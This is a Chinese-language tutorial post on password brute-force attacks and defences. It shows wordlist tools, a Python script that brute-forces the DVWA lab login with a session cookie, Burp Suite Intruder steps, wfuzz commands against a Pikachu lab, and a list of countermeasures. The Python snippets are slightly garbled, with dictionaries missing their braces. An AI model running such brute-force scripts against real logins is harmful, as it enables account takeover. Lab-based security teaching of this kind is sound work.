密码暴力破解与防御
Posted half~
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了密码暴力破解与防御相关的知识,希望对你有一定的参考价值。
密码暴力破解与防御
密码安全概述
加密、完整性、身份认证
存储安全、传输安全、输入安全
漏洞利用
从数据库获取密码
窃听通信数据
直接从登录框猜测数据
权限管理
认证:你是谁?
授权:你能做什么?
不安全的密码
默认密码
000000
123456
空密码
身份证后六位
手机后六位
弱口令
裤子
已经泄漏的密码
密码猜解思路
猜测范围
密码长度
密码内容
APP密码范围
字典
kali字典存放路径
专门字典
【1】指定格式的字典,比如生日、手机号、QQ号
crunch -h
【2】社工字典
cupp、ccupp
【3】文章内容字典
cewl https://sqlmap.org -w dict.txt
python暴力破解
从字典取其值,生成密码
# -*- coding: utf-8 -*-
# python 3
pwds = open("password.txt")
for pwd in pwds:
print(pwd)
pwds.close()
HTTP连接到需要爆破的地址
# -*- coding: utf-8 -*-
# python 3
import requests
# 如果第一个密码就提示成功,是 phpSESSID 没有替换的问题
pwds = open("password.txt")
for pwd in pwds:
url = "http://localhost/dvwa/vulnerabilities/brute/"
# PHPSESSID务必替换为登录以后的PHPSESSID
resp = requests.get(url = url, params = "username":"admin", "password":pwd.strip(), "Login":"Login", headers = "Cookie":"security=low; PHPSESSID=sm7bdfe4r6c03ai9682timdlu1")
#print(resp.text)
if 'Username and/or password incorrect.' in resp.text:
print('破解失败:'+pwd, end='')
else:
print('破解成功:'+pwd, end='')
break;
pwds.close()
安装requests
获得HTTP响应,分析响应结果,看看有没有错误提示
如果有提示,就继续下一次循环
如果没有,就继续下一次循环
Burp Suite暴力破解
Low
设置好代理
抓包成功
使用intruder模式
选择模式,选择攻击的字段
导入密码字典
开始攻击
攻击完成,单击排序
查看length最长即为密码
Medium
做了一个延迟,影响很小
High
抓包
设置intruder
Bp其他攻击模式
攻城锤:所有字段都一样
草叉:可以选择两个字段,并分别设置字典
榴霰弹:两个字典可以交叉匹配
Impossible
限制猜解的时间和次数
如何防御暴力破解
【1】 二次验证
【2】限制次数,锁定账户
【3】WAF
【4】IP验证
【5】行为识别,异地登录
【6】强制修改密码
【7】取消密码注册
其他暴力破解工具
wfuzz
piachu
wfuzz -z file,user -z file,pass -d “username=FUZZ&password=FUZ2Z&submit=login” http://192.168.202.139/pikachu/vul/burteforce/bf_form.php
wfuzz -z file,user -z file,pass --hw 1797 -d “username=FUZZ&password=FUZ2Z&submit=login” http://192.168.202.139/pikachu/vul/burteforce/bf_form.php
Hydra
Mudusa
MSF
以上是关于密码暴力破解与防御的主要内容,如果未能解决你的问题,请参考以下文章